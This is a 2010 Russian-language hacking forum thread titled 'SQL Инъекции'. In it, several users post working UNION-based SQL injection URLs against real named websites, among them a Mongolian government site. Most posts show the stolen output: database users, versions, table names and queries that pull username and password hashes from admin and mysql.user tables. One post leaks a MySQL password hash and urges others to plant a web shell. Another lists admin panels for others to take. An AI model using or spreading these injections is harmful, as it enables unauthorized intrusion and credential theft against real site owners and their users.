SQL Инъекции

23.03.2010, 19:41

CyberHunter

Постоянный

Регистрация: 06.01.2010

Сообщений: 785

С нами: 8602291

Репутация: 256

Код:

http://content.tcc.fl.edu/contacts/show.asp?type=area&id=19+or+1=%28select+top+1+table_name+from+information_schema.tables%29+--+

Моя первая mssql

𝕏 Twitter Reddit Telegram Копировать ссылку

23.03.2010, 20:13

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://www.planningtree.com/index.php?page=user&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5+--+

Username: plantree_admin@localhost
Database: planningtree_db
Version: 5.0.45-Debian_1ubuntu3.1-log

Есть таблица users.

Пример вывода пользователя с хешом:

Код:

http://www.planningtree.com/index.php?page=user&id=-1+union+select+1,concat_ws(0x3a,username,password),3,4,5+from+users+limit+5,1--+

Код:

http://www.nl-fotostudio.com/view.php?id=-1+union+select+1,unhex(hex(concat_ws(0x3a,user(),database(),version()))),3,4,5,6,7,8,9,10,11,12--

Username: s001w6@srv1.mw-internet.net
Database: usr_s001w6_1
Version: 4.1.13-log

Последний раз редактировалось root_sashok; 23.03.2010 в 20:32..

23.03.2010, 20:21

CyberHunter

Постоянный

Регистрация: 06.01.2010

Сообщений: 785

С нами: 8602291

Репутация: 256

Код:

http://monne.ru/?show=catalog&id=-19+union+select+1,2,version%28%29,4+--+

Version: 4.1.22-standard
User: monneru_adm@localhost
Database: monneru_main

Код:

http://www.veorkf.ru/catalog/dog.php?screen=1&id=-19+union+select+version%28%29,2,3,4,5,6+--+

Version: 4.1.25-LOG
User: VEORKFR5_VEO@LOCALHOST
Database: VEORKFR5_VEO

Последний раз редактировалось CyberHunter; 23.03.2010 в 20:36..

23.03.2010, 20:39

daniel_1024

Участник форума

Регистрация: 15.07.2009

Сообщений: 158

С нами: 8854580

Репутация: 34

India IT Hub :D компьютерная тематика :D

Цитата:

http://www.indiaithub.com/seller/prod_detail.php?prod_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,23

user:root@localhost
mysql.password:7dc01c3d60c0672f
base:indiaithub
ver:4.0.27-standard
mysql.user:account
file_priv:Y
os:pc-linux-gnu

есть таблицы:

Цитата:

auth
subscriber
user
mysql.user
shop
download
session
news

З.Ы file_priv:Y, ну залейте им кто-нибудь шелл)

Последний раз редактировалось daniel_1024; 23.03.2010 в 21:50..

23.03.2010, 20:38

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://theinterculturalinstitute.com/english/photogallery/view.php?id=74+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12--

Username: web152@localhost
Database: usr_web152_1
Version: 5.0.51a-3ubuntu5.1

23.03.2010, 21:13

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://www.terreinbeveiliging.com/index.php?action=text&id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49--

Username: alfabit_gps@nl15.yourname.nl
Database: alfabit_gps
Version: 5.0.51a-community

Целых 49 колонок, понятия не имею, что там может быть.

Цитата:

http://www.calamillor.com/guidec.php?locale=en_US&id=30+union+select+1,2,3,4 ,5,6,version(),8,9--

Вывод, по-наркомански, запрятан в тег "alt" к битому изображению

Username: tevet@localhost
Database: webs
Version: 5.0.75-1

Последний раз редактировалось root_sashok; 23.03.2010 в 21:37..

24.03.2010, 00:15

-=Razor=-

Новичок

Регистрация: 20.12.2008

Сообщений: 24

С нами: 9152742

Репутация: 62

Код:

http://globalbass.nl/dj.php?id=-1+union+select+1,password,3,4,5,6,7,user,9,10,11,12,13,14,15,16,17+from+mysql.user--

version: 4.0.16-nt-log
user: root@localhost
database: globaltrance

---------

Код:

http://www.concept-m.fr/dj.php?id=-1+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13--

Version: 5.0.90-log 8
User: conceptm_minus@10.0.84.26 8
Database: conceptm_minus 8
-------

Код:

ttp://www.salsaband.nl/salsa-dj.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9,10+from+users--

Код:

http://www.salsaband.nl/salsa-dj.php?id=-1+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10+from+information_schema.columns+where+table_name=0x7573657273+limit+1,1

Код:

http://www.salsaband.nl/salsa-dj.php?id=-1+union+select+1,2,3,concat(login,0x3a,pw),5,6,7,8,9,10+From+users+limit+1,1--

Version: 5.0.77
Database: salsaban
User: salsaban@localhost
---------

Код:

http://www.letsgetextreme.com/review-band-db.php?id=1+union+select+concat(user_pass,0x3a,user_name),2,3,4+from+users/*

version: 4.1.21-community-nt
-----

Код:

http://www.orionicon.com/embacons-db.php?id=1+union+select+COLUMN_NAME+from+information_schema.columns+where+table_name=0x61646D696E

Код:

http://www.orionicon.com/embacons-db.php?id=1+union+select+concat(admin,0x3a,password)+from+admin+limit+1,1--

user: n 432555_root@172.17.3.155
database: 432555_studypages
Version: 5.0.77-log

Последний раз редактировалось -=Razor=-; 24.03.2010 в 00:51..

24.03.2010, 00:43

artel87

Новичок

Регистрация: 19.01.2010

Сообщений: 4

С нами: 8584255

Репутация: 9

Код:

http://atv.by/gallery.php?id=-10+union+select+1+--+

version: 5.0.67.d7-ourdelta-log
Base: atvby
User: atvby@208.109.181.123

Код:

http://www.obitr.by/page.php?form_id=512+union+select+1,2,3,4,5+--+

version: 5.0.51a-24+lenny2
Base: ruralbelarusby
User: ruralbelarusby@localhos

24.03.2010, 00:58

Bb0y

Участник форума

Регистрация: 30.10.2009

Сообщений: 103

С нами: 8700497

Репутация: 388

Отправить сообщение для Bb0y с помощью Yahoo

.GOV ресурс
MySQL 5.0.84-percona-highperf-log
admin::id, user_name, password | and | general_administrator::user_name, password | and| poll_user:: user_id, username, userpass

Цитата:

http://www.iltod.gov.mn/news.php?id=-100+union+select+1,group_concat(0x0b,id,0x3a,user_ name,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+ad min+--

так же интересные резалты из таблицы poll_user

Цитата:

http://www.iltod.gov.mn/news.php?id=-100+union+select+1,group_concat(0x0b,username,0x3a ,userpass),3,4,5,6,7,8,9,10,11,12+from+poll_user+--

admin panels:

Цитата:

http://www.iltod.gov.mn/admin/
http://www.iltod.gov.mn/_private/
http://www.iltod.gov.mn/poll/admin/

пускает спокойно, но на монгольском я мало что понял=( забирайте

#10

24.03.2010, 00:59

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://jogharta.com/produit.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--

Username: jogharta@localhost
Database: jogharta
Version: 5.0.44-log

Код:

http://www.safira.org.ua/index.php?action=product&topcat=2&item=-1+union+select+concat_ws(0x3a,user(),database(),version())--

Очень странный юзернейм.

Username: '@localhost
Database: safirao_safira
Version: 5.0.89-community-log

Код:

http://www.maarav.org.il/classes/PUItem.php?lang=HEB&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8--

Username: maaravo_maarav5@localhost
Database: maaravo_maarav5
Version: 5.0.89-community-log

Таблицы:

Код:

authors
authors_lang
banner
categories
categories_lang
daily_image	
daily_image_topic
daily_image_topic_lang
events
events_status
flash_flood_items
forum_categories
forum_entries
forum_settings
forum_userdata
forum_useronline	
item_status	
items	
languages	
link_type	
media_types	
news	
news_status	
readers_comments	
sub_categories
sub_categories_lang	
user_groups	
users

Пароли выводит, переменную имени не подобрал. user, username, login, name — не катят.

Последний раз редактировалось root_sashok; 24.03.2010 в 01:18..

Создать сделку

Мои сделки

Сделка